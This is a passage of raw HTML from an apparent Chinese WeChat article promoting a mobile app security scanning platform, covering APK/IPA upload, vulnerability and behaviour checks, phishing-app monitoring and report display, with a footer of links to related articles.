1.5em;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="line-height: 1.75;color: rgb(15, 183, 255);"><span leaf="">重点漏洞修复专题材料</span></strong></p><p style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 0px 8px 1.5em;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">针对重点高危漏洞、制作专题资料，报告漏洞起因、受影响版本，和加固检测方案等。</span></p><p style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 0px 8px 1.5em;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="line-height: 1.75;color: rgb(15, 183, 255);"><span leaf="">钓鱼APP关停协助</span></strong></p><p style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 0px 8px 1.5em;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">对检测中发现的钓鱼APP，保存相关资料，为协助网警执法提供帮助。</span></p><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 0px auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 183, 255);color: rgb(255, 255, 255);"><span leaf="">平台展示</span></h2><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 0px;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(15, 183, 255);color: rgb(63, 63, 63);"><span leaf="">主界面</span></h3><p style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 0px 8px 1.5em;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">上传APP主界面，可上传APK或者IPA文件。</span></p><figure style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin-right: 8px;margin-bottom: 1.5em;margin-left: 8px;color: rgb(63, 63, 63);"><span leaf=""><img title="null" alt="图片" class="rich_pages wxw-img" data-ratio="0.4422809457579972" data-type="jpeg" data-w="2876" style="line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-radius: 4px;display: block;margin-right: auto;margin-bottom: 0.5em;margin-left: auto;height: auto !important;visibility: visible !important;width: 661px !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=cce52d36&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FrTicZ9Hibb6RVTibCUROLibdiayViak0ALbw2h3kIb0RnOQJavklEribZB3rSs6ywwoBPD14R45uN79RsHzEP8dfJuVqw%2F640%3Fwx_fmt%3Djpeg%26tp%3Dwebp%26wxfrom%3D5%26wx_lazy%3D1%23imgIndex%3D9"/></span></figure><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 0px;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(15, 183, 255);color: rgb(63, 63, 63);"><span leaf="">数据统计</span></h3><p style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 0px 8px 1.5em;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">对辖区范围内APP风险检测数据进行汇总展示，对各漏洞数量占比进行图表展示。</span></p><figure style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin-right: 8px;margin-bottom: 1.5em;margin-left: 8px;color: rgb(63, 63, 63);"><span leaf=""><img title="null" alt="图片" class="rich_pages wxw-img" data-ratio="0.7017543859649122" data-type="jpeg" data-w="1026" style="line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-radius: 4px;display: block;margin-right: auto;margin-bottom: 0.5em;margin-left: auto;height: auto !important;visibility: visible !important;width: 661px !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=97abfa25&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FrTicZ9Hibb6RVTibCUROLibdiayViak0ALbw2hDQ6qHdgJxhJQNfef0zfKNQic9zc1tWK6ickqib69Vaxd8ueoPWOFX7gbA%2F640%3Fwx_fmt%3Djpeg%26tp%3Dwebp%26wxfrom%3D5%26wx_lazy%3D1%23imgIndex%3D10"/></span></figure><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 0px;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(15, 183, 255);color: rgb(63, 63, 63);"><span leaf="">APP查询</span></h3><p style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 0px 8px 1.5em;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">查询APP是否收录及基本信息展示。</span></p><figure style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin-right: 8px;margin-bottom: 1.5em;margin-left: 8px;color: rgb(63, 63, 63);"><span leaf=""><img title="null" alt="图片" class="rich_pages wxw-img" data-ratio="0.8429752066115702" data-type="jpeg" data-w="1694" style="line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-radius: 4px;display: block;margin-right: auto;margin-bottom: 0.5em;margin-left: auto;height: auto !important;visibility: visible !important;width: 661px !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=35507707&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FrTicZ9Hibb6RVTibCUROLibdiayViak0ALbw2hgzWGRFIH0VpACOLwILjcjO285VjvWg3BSMKJnibWDFftJx2r3zdmeYw%2F640%3Fwx_fmt%3Djpeg%26tp%3Dwebp%26wxfrom%3D5%26wx_lazy%3D1%23imgIndex%3D11"/></span></figure><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 0px;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(15, 183, 255);color: rgb(63, 63, 63);"><span leaf="">检测详情</span></h3><ul style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;padding-left: 1em;list-style: circle;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin-right: 8px;margin-bottom: 0.2em;margin-left: 8px;"><p style="margin-top: 0px;"><span leaf="">• 应用信息检测：应用名称、包名、文件大小、版本信息和文件MD5</span></p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin-right: 8px;margin-bottom: 0.2em;margin-left: 8px;"><p style="margin-top: 0px;"><span leaf="">• 应用签名信息检测：所有者、发布者、序列号、有效期开始日期、截止日期和证书指纹。</span></p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin-right: 8px;margin-bottom: 0.2em;margin-left: 8px;"><p style="margin-top: 0px;"><span leaf="">• 应用行为信息检测</span></p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin-right: 8px;margin-bottom: 0.2em;margin-left: 8px;"><p style="margin-top: 0px;"><span leaf="">• 应用权限信息检测</span></p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin-right: 8px;margin-bottom: 0.2em;margin-left: 8px;"><p style="margin-top: 0px;"><span leaf="">• 敏感词检测</span></p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin-right: 8px;margin-bottom: 0.2em;margin-left: 8px;"><p style="margin-top: 0px;"><span leaf="">• 敏感函数检测</span></p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin-right: 8px;margin-bottom: 0.2em;margin-left: 8px;"><p style="margin-top: 0px;"><span leaf="">• 敏感行为检测</span></p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin-right: 8px;margin-bottom: 0.2em;margin-left: 8px;"><p style="margin-top: 0px;"><span leaf="">• 动态加载DEX行为检测</span></p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin-right: 8px;margin-bottom: 0.2em;margin-left: 8px;"><p style="margin-top: 0px;"><span leaf="">• 第三方SDK检测</span></p></li></ul><figure style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin-right: 8px;margin-bottom: 1.5em;margin-left: 8px;color: rgb(63, 63, 63);"><span leaf=""><img title="null" alt="图片" class="rich_pages wxw-img" data-ratio="1.9303396660909615" data-type="jpeg" data-w="1737" style="line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-radius: 4px;display: block;margin-right: auto;margin-bottom: 0.5em;margin-left: auto;height: auto !important;visibility: visible !important;width: 661px !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=ac5afd68&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FrTicZ9Hibb6RVTibCUROLibdiayViak0ALbw2hkVXQFOat0vzg8YlVvlkpXSjRSQ2WuTuAZQs9pJn7eNSsG93ElEpwPg%2F640%3Fwx_fmt%3Djpeg%26tp%3Dwebp%26wxfrom%3D5%26wx_lazy%3D1%23imgIndex%3D12"/></span></figure><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 0px;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(15, 183, 255);color: rgb(63, 63, 63);"><span leaf="">APP漏洞检测</span></h3><p style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 0px 8px 1.5em;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">依据相关行业标准，对测试项进行优化改进，分别适用于Android和IOS端检测。通过从安全防护能力检测、程序机密性规范检测、数据安全规范检测、代码安全规范检测、四大组件配置安全规范检测和通信传输风险检测六大方面对APP进行安全风险评估。</span></p><figure style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin-right: 8px;margin-bottom: 1.5em;margin-left: 8px;color: rgb(63, 63, 63);"><span leaf=""><img title="null" alt="图片" class="rich_pages wxw-img" data-ratio="1.4552505966587113" data-type="jpeg" data-w="1676" style="line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-radius: 4px;display: block;margin-right: auto;margin-bottom: 0.5em;margin-left: auto;height: auto !important;visibility: visible !important;width: 661px !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=d19b9e8c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FrTicZ9Hibb6RVTibCUROLibdiayViak0ALbw2hBYC7uFvpMRABpPy11cLJLpCFtaZYpWDor4HoAXy5JRpKMRq1B9d9bQ%2F640%3Fwx_fmt%3Djpeg%26tp%3Dwebp%26wxfrom%3D5%26wx_lazy%3D1%23imgIndex%3D13"/></span></figure><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 0px;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(15, 183, 255);color: rgb(63, 63, 63);"><span leaf="">监测雷达</span></h3><p style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 0px 8px 1.5em;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">安全监测：对APP程序的安全漏洞、APP恶意行为、APP漏洞分布、APP地区分布以及扫描数量进行图表统计展示。渠道监测：实时监测国内多个应用市场，可及时发现钓鱼伪造APP、老旧版本APP等相关数据。</span></p><figure style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin-right: 8px;margin-bottom: 1.5em;margin-left: 8px;color: rgb(63, 63, 63);"><span leaf=""><img title="null" alt="图片" class="rich_pages wxw-img" data-ratio="0.5125" data-type="jpeg" data-w="1280" style="line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-radius: 4px;display: block;margin-right: auto;margin-bottom: 0.5em;margin-left: auto;height: auto !important;visibility: visible !important;width: 661px !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=6a139dbf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FrTicZ9Hibb6RVTibCUROLibdiayViak0ALbw2hYXotg6pN7gNB1nTACL6wxkX2icz81QFmhDRroFgRslozpj4sg1sSpCg%2F640%3Fwx_fmt%3Djpeg%26tp%3Dwebp%26wxfrom%3D5%26wx_lazy%3D1%23imgIndex%3D14"/></span></figure></div><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 0px;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(15, 183, 255);color: rgb(63, 63, 63);"><span leaf="">公众号通知</span></h3><p style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-mpa-template&#34;:&#34;t&#34;,&#34;mpa-from-tpl&#34;:&#34;t&#34;,&#34;style&#34;:&#34;margin-bottom: 0px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-mid&#34;:&#34;&#34;,&#34;mpa-from-tpl&#34;:&#34;t&#34;,&#34;style&#34;:&#34;padding-right: 10px;padding-left: 10px;width: 578px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-mid&#34;:&#34;&#34;,&#34;mpa-from-tpl&#34;:&#34;t&#34;,&#34;style&#34;:&#34;width: 558px;display: flex;flex-direction: column;margin-top: 0px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-bottom: 0px; text-wrap: wrap; text-align: left;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]">APP扫描结果通知将自动同步到公众号</span></p><figure style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 1.5em 8px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100038021" class="rich_pages wxw-img" data-ratio="0.8882235528942116" data-s="300,640" data-type="png" data-w="1002" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=ee211a80&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RU3YR5tRec9GNBl62Fo0dF2XzicMdgDBTCkFSyDDvQN8zuwHujAU4PvfkaiaicUApzG4JgCKgDOf5ZyA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure></div><div data-mpa-template="t" mpa-from-tpl="t" style="margin-bottom: 0px;"><div data-mid="" mpa-from-tpl="t" style="padding-right: 10px;padding-left: 10px;width: 578px;" data-pm-slice="3 3 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-mpa-template&#34;:&#34;t&#34;,&#34;mpa-from-tpl&#34;:&#34;t&#34;,&#34;style&#34;:&#34;margin-bottom: 0px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(15, 183, 255);color: rgb(63, 63, 63);"><span leaf="">报告展示</span></h3><p style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">APP安全检测评估报告展示</span></p><figure style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 1.5em 8px;color: rgb(63, 63, 63);"><span leaf=""><img title="null" alt="图片" class="rich_pages wxw-img" data-ratio="0.8333333333333334" data-type="jpeg" data-w="864" style="line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;height: auto !important;visibility: visible !important;width: 661px !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=f891db51&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FrTicZ9Hibb6RVTibCUROLibdiayViak0ALbw2hB06kx02tK0icghOia0FUmqmsSRpXklm1icRsDEv5U0JrKKnwibCbkzI6cA%2F640%3Fwx_fmt%3Djpeg%26tp%3Dwebp%26wxfrom%3D5%26wx_lazy%3D1%23imgIndex%3D15"/></span></figure></div></div></div><div data-mid="" mpa-from-tpl="t" style="margin-bottom: 15px;max-width: 100%;font-size: 16px;white-space: normal;display: flex;justify-content: flex-start;align-items: center;flex-direction: column;z-index: 2;overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="padding: 2px;max-width: 100%;background: rgb(255, 255, 255);border-radius: 13px;border-width: 1px;border-style: solid;border-color: rgb(45, 133, 224);overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="padding-right: 24px;padding-left: 24px;max-width: 100%;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;border-radius: 11px;border-width: 1px;border-style: dotted;border-color: rgb(45, 133, 224);text-align: center;overflow-wrap: break-word !important;box-sizing: border-box !important;"><p data-mid="" style="max-width: 100%;font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(45, 133, 224);line-height: 22px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">往期推荐</span></p></div></div></div><div data-mid="" mpa-from-tpl="t" style="margin-bottom: 0px;max-width: 100%;font-size: 16px;white-space: normal;display: flex;justify-content: flex-start;align-items: center;flex-direction: column;overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="max-width: 100%;width: 474px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="padding: 14px 8px 2px;max-width: 100%;width: 474px;background: rgb(255, 255, 255);border-radius: 5px;border-width: 1px;border-style: solid;border-color: rgb(74, 138, 218);overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="padding: 3px;max-width: 100%;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;width: 456px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="padding-right: 12px;padding-left: 12px;max-width: 100%;width: 450px;text-align: center;overflow-wrap: break-word !important;box-sizing: border-box !important;"><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247516589&amp;idx=1&amp;sn=107da3b45e88255f240504d033ebde7f&amp;chksm=ce5da3ccf92a2adab0511bd798570d967cd4b0b7d7528f2f17163f5ed77e4dd7a02ac17c39d7&amp;scene=21#wechat_redirect" textvalue="TscanPlus-一款红队自动化‍工具" data-itemshowtype="0" linktype="text" data-linktype="2">TscanPlus-一款红队自动化工具</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247499902&amp;idx=1&amp;sn=59cba8d980b4ecb0deefff99edaabd4d&amp;chksm=ce5de21ff92a6b09a8972a0144557b0099e443aa8e018b17151c816fc7f08f3615ecb22617fc&amp;scene=21#wechat_redirect" textvalue="潮影在线免杀平台上线了" data-itemshowtype="0" linktype="text" data-linktype="2">潮影在线免杀平台上线了</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247498466&amp;idx=1&amp;sn=085c15679436dedb06a179ca8d47951a&amp;chksm=ce5dd883f92a5195ef74ac517741f6d3da0da40b5501d72016e52cb70344904bb85b8aef65ba&amp;scene=21#wechat_redirect" textvalue="自动化渗透测试工具开发实践" data-itemshowtype="0" linktype="text" data-linktype="2">自动化渗透测试工具开发实践</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" 